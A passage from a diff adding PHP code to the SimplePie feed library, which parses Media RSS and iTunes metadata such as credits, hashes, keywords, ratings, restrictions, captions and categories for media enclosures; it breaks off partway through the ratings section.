+				foreach ($credits as $credit)
+				{
+					$credit_role = null;
+					$credit_scheme = null;
+					$credit_name = null;
+					if (isset($credit['attribs']['']['role']))
+					{
+						$credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($credit['attribs']['']['scheme']))
+					{
+						$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					else
+					{
+						$credit_scheme = 'urn:ebu';
+					}
+					if (isset($credit['data']))
+					{
+						$credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$credits_parent[] =& new $this->feed->credit_class($credit_role, $credit_scheme, $credit_name);
+				}
+			}
+			elseif ($credits = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'credit'))
+			{
+				foreach ($credits as $credit)
+				{
+					$credit_role = null;
+					$credit_scheme = null;
+					$credit_name = null;
+					if (isset($credit['attribs']['']['role']))
+					{
+						$credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($credit['attribs']['']['scheme']))
+					{
+						$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					else
+					{
+						$credit_scheme = 'urn:ebu';
+					}
+					if (isset($credit['data']))
+					{
+						$credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$credits_parent[] =& new $this->feed->credit_class($credit_role, $credit_scheme, $credit_name);
+				}
+			}
+			if (is_array($credits_parent))
+			{
+				$credits_parent = array_values(SimplePie_Misc::array_unique($credits_parent));
+			}
+
+			// DESCRIPTION
+			if ($description_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'description'))
+			{
+				if (isset($description_parent[0]['data']))
+				{
+					$description_parent = $this->sanitize($description_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+			}
+			elseif ($description_parent = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'description'))
+			{
+				if (isset($description_parent[0]['data']))
+				{
+					$description_parent = $this->sanitize($description_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+			}
+
+			// DURATION
+			if ($duration_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'duration'))
+			{
+				$seconds = null;
+				$minutes = null;
+				$hours = null;
+				if (isset($duration_parent[0]['data']))
+				{
+					$temp = explode(':', $this->sanitize($duration_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+					if (sizeof($temp) > 0)
+					{
+						(int) $seconds = array_pop($temp);
+					}
+					if (sizeof($temp) > 0)
+					{
+						(int) $minutes = array_pop($temp);
+						$seconds += $minutes * 60;
+					}
+					if (sizeof($temp) > 0)
+					{
+						(int) $hours = array_pop($temp);
+						$seconds += $hours * 3600;
+					}
+					unset($temp);
+					$duration_parent = $seconds;
+				}
+			}
+
+			// HASHES
+			if ($hashes_iterator = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'hash'))
+			{
+				foreach ($hashes_iterator as $hash)
+				{
+					$value = null;
+					$algo = null;
+					if (isset($hash['data']))
+					{
+						$value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($hash['attribs']['']['algo']))
+					{
+						$algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					else
+					{
+						$algo = 'md5';
+					}
+					$hashes_parent[] = $algo.':'.$value;
+				}
+			}
+			elseif ($hashes_iterator = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'hash'))
+			{
+				foreach ($hashes_iterator as $hash)
+				{
+					$value = null;
+					$algo = null;
+					if (isset($hash['data']))
+					{
+						$value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($hash['attribs']['']['algo']))
+					{
+						$algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					else
+					{
+						$algo = 'md5';
+					}
+					$hashes_parent[] = $algo.':'.$value;
+				}
+			}
+			if (is_array($hashes_parent))
+			{
+				$hashes_parent = array_values(SimplePie_Misc::array_unique($hashes_parent));
+			}
+
+			// KEYWORDS
+			if ($keywords = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'keywords'))
+			{
+				if (isset($keywords[0]['data']))
+				{
+					$temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+					foreach ($temp as $word)
+					{
+						$keywords_parent[] = trim($word);
+					}
+				}
+				unset($temp);
+			}
+			elseif ($keywords = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'keywords'))
+			{
+				if (isset($keywords[0]['data']))
+				{
+					$temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+					foreach ($temp as $word)
+					{
+						$keywords_parent[] = trim($word);
+					}
+				}
+				unset($temp);
+			}
+			elseif ($keywords = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'keywords'))
+			{
+				if (isset($keywords[0]['data']))
+				{
+					$temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+					foreach ($temp as $word)
+					{
+						$keywords_parent[] = trim($word);
+					}
+				}
+				unset($temp);
+			}
+			elseif ($keywords = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'keywords'))
+			{
+				if (isset($keywords[0]['data']))
+				{
+					$temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+					foreach ($temp as $word)
+					{
+						$keywords_parent[] = trim($word);
+					}
+				}
+				unset($temp);
+			}
+			if (is_array($keywords_parent))
+			{
+				$keywords_parent = array_values(SimplePie_Misc::array_unique($keywords_parent));
+			}
+
+			// PLAYER
+			if ($player_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'player'))
+			{
+				if (isset($player_parent[0]['attribs']['']['url']))
+				{
+					$player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+				}
+			}
+			elseif ($player_parent = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'player'))
+			{
+				if (isset($player_parent[0]['attribs']['']['url']))
+				{
+					$player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+				}
+			}
+
+			// RATINGS
+			if ($ratings = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'rating'))
+			{
+				foreach ($ratings as $rating)
+				{
+					$rating_scheme = null;
+					$rating_value = null;
+					if (isset($rating['attribs']['']['scheme']))
+					{
+						$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					else
+					{
+						$rating_scheme = 'urn:simple';
+					}
+					if (isset($rating['data']))
+					{
+						$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$ratings_parent[] =& new $this->feed->rating_class($rating_scheme, $rating_value);
+				}
+			}
+			elseif ($ratings = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'explicit'))
+			{
+				foreach ($ratings as $rating)
+				{
+					$rating_scheme = 'urn:itunes';
+					$rating_value = null;
+					if (isset($rating['data']))
+					{
+						$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$ratings_parent[] =& new $this->feed->rating_class($rating_scheme, $rating_value);
+				}
+			}
+			elseif ($ratings = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'rating'))
+			{
+				foreach ($ratings as $rating)
+				{
+					$rating_scheme = null;
+					$rating_value = null;
+					if (isset($rating['attribs']['']['scheme']))
+					{
+						$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					else
+					{
+						$rating_scheme = 'urn:simple';
+					}
+					if (isset($rating['data']))
+					{
+						$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$ratings_parent[] =& new $this->feed->rating_class($rating_scheme, $rating_value);
+				}
+			}
+			elseif ($ratings = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'explicit'))
+			{
+				foreach ($ratings as $rating)
+				{
+					$rating_scheme = 'urn:itunes';
+					$rating_value = null;
+					if (isset($rating['data']))
+					{
+						$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$ratings_parent[] =& new $this->feed->rating_class($rating_scheme, $rating_value);
+				}
+			}
+			if (is_array($ratings_parent))
+			{
+				$ratings_parent = array_values(SimplePie_Misc::array_unique($ratings_parent));
+			}
+
+			// RESTRICTIONS
+			if ($restrictions = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'restriction'))
+			{
+				foreach ($restrictions as $restriction)
+				{
+					$restriction_relationship = null;
+					$restriction_type = null;
+					$restriction_value = null;
+					if (isset($restriction['attribs']['']['relationship']))
+					{
+						$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($restriction['attribs']['']['type']))
+					{
+						$restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($restriction['data']))
+					{
+						$restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$restrictions_parent[] =& new $this->feed->restriction_class($restriction_relationship, $restriction_type, $restriction_value);
+				}
+			}
+			elseif ($restrictions = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'block'))
+			{
+				foreach ($restrictions as $restriction)
+				{
+					$restriction_relationship = 'allow';
+					$restriction_type = null;
+					$restriction_value = 'itunes';
+					if (isset($restriction['data']) && strtolower($restriction['data']) == 'yes')
+					{
+						$restriction_relationship = 'deny';
+					}
+					$restrictions_parent[] =& new $this->feed->restriction_class($restriction_relationship, $restriction_type, $restriction_value);
+				}
+			}
+			elseif ($restrictions = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'restriction'))
+			{
+				foreach ($restrictions as $restriction)
+				{
+					$restriction_relationship = null;
+					$restriction_type = null;
+					$restriction_value = null;
+					if (isset($restriction['attribs']['']['relationship']))
+					{
+						$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($restriction['attribs']['']['type']))
+					{
+						$restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($restriction['data']))
+					{
+						$restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$restrictions_parent[] =& new $this->feed->restriction_class($restriction_relationship, $restriction_type, $restriction_value);
+				}
+			}
+			elseif ($restrictions = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'block'))
+			{
+				foreach ($restrictions as $restriction)
+				{
+					$restriction_relationship = 'allow';
+					$restriction_type = null;
+					$restriction_value = 'itunes';
+					if (isset($restriction['data']) && strtolower($restriction['data']) == 'yes')
+					{
+						$restriction_relationship = 'deny';
+					}
+					$restrictions_parent[] =& new $this->feed->restriction_class($restriction_relationship, $restriction_type, $restriction_value);
+				}
+			}
+			if (is_array($restrictions_parent))
+			{
+				$restrictions_parent = array_values(SimplePie_Misc::array_unique($restrictions_parent));
+			}
+
+			// THUMBNAILS
+			if ($thumbnails = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'thumbnail'))
+			{
+				foreach ($thumbnails as $thumbnail)
+				{
+					if (isset($thumbnail['attribs']['']['url']))
+					{
+						$thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+					}
+				}
+			}
+			elseif ($thumbnails = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'thumbnail'))
+			{
+				foreach ($thumbnails as $thumbnail)
+				{
+					if (isset($thumbnail['attribs']['']['url']))
+					{
+						$thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+					}
+				}
+			}
+
+			// TITLES
+			if ($title_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'title'))
+			{
+				if (isset($title_parent[0]['data']))
+				{
+					$title_parent = $this->sanitize($title_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+			}
+			elseif ($title_parent = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'title'))
+			{
+				if (isset($title_parent[0]['data']))
+				{
+					$title_parent = $this->sanitize($title_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+			}
+
+			// Clear the memory
+			unset($parent);
+
+			// Attributes
+			$bitrate = null;
+			$channels = null;
+			$duration = null;
+			$expression = null;
+			$framerate = null;
+			$height = null;
+			$javascript = null;
+			$lang = null;
+			$length = null;
+			$medium = null;
+			$samplingrate = null;
+			$type = null;
+			$url = null;
+			$width = null;
+
+			// Elements
+			$captions = null;
+			$categories = null;
+			$copyrights = null;
+			$credits = null;
+			$description = null;
+			$hashes = null;
+			$keywords = null;
+			$player = null;
+			$ratings = null;
+			$restrictions = null;
+			$thumbnails = null;
+			$title = null;
+
+			// If we have media:group tags, loop through them.
+			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'group') as $group)
+			{
+				// If we have media:content tags, loop through them.
+				foreach ((array) $group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'] as $content)
+				{
+					if (isset($content['attribs']['']['url']))
+					{
+						// Attributes
+						$bitrate = null;
+						$channels = null;
+						$duration = null;
+						$expression = null;
+						$framerate = null;
+						$height = null;
+						$javascript = null;
+						$lang = null;
+						$length = null;
+						$medium = null;
+						$samplingrate = null;
+						$type = null;
+						$url = null;
+						$width = null;
+
+						// Elements
+						$captions = null;
+						$categories = null;
+						$copyrights = null;
+						$credits = null;
+						$description = null;
+						$hashes = null;
+						$keywords = null;
+						$player = null;
+						$ratings = null;
+						$restrictions = null;
+						$thumbnails = null;
+						$title = null;
+
+						// Start checking the attributes of media:content
+						if (isset($content['attribs']['']['bitrate']))
+						{
+							$bitrate = $this->sanitize($content['attribs']['']['bitrate'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['channels']))
+						{
+							$channels = $this->sanitize($content['attribs']['']['channels'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['duration']))
+						{
+							$duration = $this->sanitize($content['attribs']['']['duration'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						else
+						{
+							$duration = $duration_parent;
+						}
+						if (isset($content['attribs']['']['expression']))
+						{
+							$expression = $this->sanitize($content['attribs']['']['expression'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['framerate']))
+						{
+							$framerate = $this->sanitize($content['attribs']['']['framerate'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['height']))
+						{
+							$height = $this->sanitize($content['attribs']['']['height'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['lang']))
+						{
+							$lang = $this->sanitize($content['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['fileSize']))
+						{
+							$length = ceil($content['attribs']['']['fileSize']);
+						}
+						if (isset($content['attribs']['']['medium']))
+						{
+							$medium = $this->sanitize($content['attribs']['']['medium'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['samplingrate']))
+						{
+							$samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['type']))
+						{
+							$type = $this->sanitize($content['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['width']))
+						{
+							$width = $this->sanitize($content['attribs']['']['width'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						$url = $this->sanitize($content['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+
+						// Checking the other optional media: elements. Priority: media:content, media:group, item, channel
+
+						// CAPTIONS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'] as $caption)
+							{
+								$caption_type = null;
+								$caption_lang = null;
+								$caption_startTime = null;
+								$caption_endTime = null;
+								$caption_text = null;
+								if (isset($caption['attribs']['']['type']))
+								{
+									$caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['attribs']['']['lang']))
+								{
+									$caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['attribs']['']['start']))
+								{
+									$caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['attribs']['']['end']))
+								{
+									$caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['data']))
+								{
+									$caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$captions[] =& new $this->feed->caption_class($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text);
+							}
+							if (is_array($captions))
+							{
+								$captions = array_values(SimplePie_Misc::array_unique($captions));
+							}
+						}
+						elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text']))
+						{
+							foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'] as $caption)
+							{
+								$caption_type = null;
+								$caption_lang = null;
+								$caption_startTime = null;
+								$caption_endTime = null;
+								$caption_text = null;
+								if (isset($caption['attribs']['']['type']))
+								{
+									$caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['attribs']['']['lang']))
+								{
+									$caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['attribs']['']['start']))
+								{
+									$caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['attribs']['']['end']))
+								{
+									$caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['data']))
+								{
+									$caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$captions[] =& new $this->feed->caption_class($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text);
+							}
+							if (is_array($captions))
+							{
+								$captions = array_values(SimplePie_Misc::array_unique($captions));
+							}
+						}
+						else
+						{
+							$captions = $captions_parent;
+						}
+
+						// CATEGORIES
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category']))
+						{
+							foreach ((array) $content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'] as $category)
+							{
+								$term = null;
+								$scheme = null;
+								$label = null;
+								if (isset($category['data']))
+								{
+									$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($category['attribs']['']['scheme']))
+								{
+									$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$scheme = 'http://search.yahoo.com/mrss/category_schema';
+								}
+								if (isset($category['attribs']['']['label']))
+								{
+									$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$categories[] =& new $this->feed->category_class($term, $scheme, $label);
+							}
+						}
+						if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category']))
+						{
+							foreach ((array) $group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'] as $category)
+							{
+								$term = null;
+								$scheme = null;
+								$label = null;
+								if (isset($category['data']))
+								{
+									$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($category['attribs']['']['scheme']))
+								{
+									$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$scheme = 'http://search.yahoo.com/mrss/category_schema';
+								}
+								if (isset($category['attribs']['']['label']))
+								{
+									$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$categories[] =& new $this->feed->category_class($term, $scheme, $label);
+							}
+						}
+						if (is_array($categories) && is_array($categories_parent))
+						{
+							$categories = array_values(SimplePie_Misc::array_unique(array_merge($categories, $categories_parent)));
+						}
+						elseif (is_array($categories))
+						{
+							$categories = array_values(SimplePie_Misc::array_unique($categories));
+						}
+						elseif (is_array($categories_parent))
+						{
+							$categories = array_values(SimplePie_Misc::array_unique($categories_parent));
+						}
+
+						// COPYRIGHTS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright']))
+						{
+							$copyright_url = null;
+							$copyright_label = null;
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url']))
+							{
+								$copyright_url = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data']))
+							{
+								$copyright_label = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							$copyrights =& new $this->feed->copyright_class($copyright_url, $copyright_label);
+						}
+						elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright']))
+						{
+							$copyright_url = null;
+							$copyright_label = null;
+							if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url']))
+							{
+								$copyright_url = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data']))
+							{
+								$copyright_label = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							$copyrights =& new $this->feed->copyright_class($copyright_url, $copyright_label);
+						}
+						else
+						{
+							$copyrights = $copyrights_parent;
+						}
+
+						// CREDITS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'] as $credit)
+							{
+								$credit_role = null;
+								$credit_scheme = null;
+								$credit_name = null;
+								if (isset($credit['attribs']['']['role']))
+								{
+									$credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($credit['attribs']['']['scheme']))
+								{
+									$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$credit_scheme = 'urn:ebu';
+								}
+								if (isset($credit['data']))
+								{
+									$credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$credits[] =& new $this->feed->credit_class($credit_role, $credit_scheme, $credit_name);
+							}
+							if (is_array($credits))
+							{
+								$credits = array_values(SimplePie_Misc::array_unique($credits));
+							}
+						}
+						elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit']))
+						{
+							foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'] as $credit)
+							{
+								$credit_role = null;
+								$credit_scheme = null;
+								$credit_name = null;
+								if (isset($credit['attribs']['']['role']))
+								{
+									$credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($credit['attribs']['']['scheme']))
+								{
+									$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$credit_scheme = 'urn:ebu';
+								}
+								if (isset($credit['data']))
+								{
+									$credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$credits[] =& new $this->feed->credit_class($credit_role, $credit_scheme, $credit_name);
+							}
+							if (is_array($credits))
+							{
+								$credits = array_values(SimplePie_Misc::array_unique($credits));
+							}
+						}
+						else
+						{
+							$credits = $credits_parent;
+						}
+
+						// DESCRIPTION
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description']))
+						{
+							$description = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description']))
+						{
+							$description = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						else
+						{
+							$description = $description_parent;
+						}
+
+						// HASHES
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'] as $hash)
+							{
+								$value = null;
+								$algo = null;
+								if (isset($hash['data']))
+								{
+									$value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($hash['attribs']['']['algo']))
+								{
+									$algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$algo = 'md5';
+								}
+								$hashes[] = $algo.':'.$value;
+							}
+							if (is_array($hashes))
+							{
+								$hashes = array_values(SimplePie_Misc::array_unique($hashes));
+							}
+						}
+						elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash']))
+						{
+							foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'] as $hash)
+							{
+								$value = null;
+								$algo = null;
+								if (isset($hash['data']))
+								{
+									$value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($hash['attribs']['']['algo']))
+								{
+									$algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$algo = 'md5';
+								}
+								$hashes[] = $algo.':'.$value;
+							}
+							if (is_array($hashes))
+							{
+								$hashes = array_values(SimplePie_Misc::array_unique($hashes));
+							}
+						}
+						else
+						{
+							$hashes = $hashes_parent;
+						}
+
+						// KEYWORDS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords']))
+						{
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data']))
+							{
+								$temp = explode(',', $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+								foreach ($temp as $word)
+								{
+									$keywords[] = trim($word);
+								}
+								unset($temp);
+							}
+							if (is_array($keywords))
+							{
+								$keywords = array_values(SimplePie_Misc::array_unique($keywords));
+							}
+						}
+						elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords']))
+						{
+							if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data']))
+							{
+								$temp = explode(',', $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+								foreach ($temp as $word)
+								{
+									$keywords[] = trim($word);
+								}
+								unset($temp);
+							}
+							if (is_array($keywords))
+							{
+								$keywords = array_values(SimplePie_Misc::array_unique($keywords));
+							}
+						}
+						else
+						{
+							$keywords = $keywords_parent;
+						}
+
+						// PLAYER
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player']))
+						{
+							$player = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+						}
+						elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player']))
+						{
+							$player = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+						}
+						else
+						{
+							$player = $player_parent;
+						}
+
+						// RATINGS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating']))
+						{
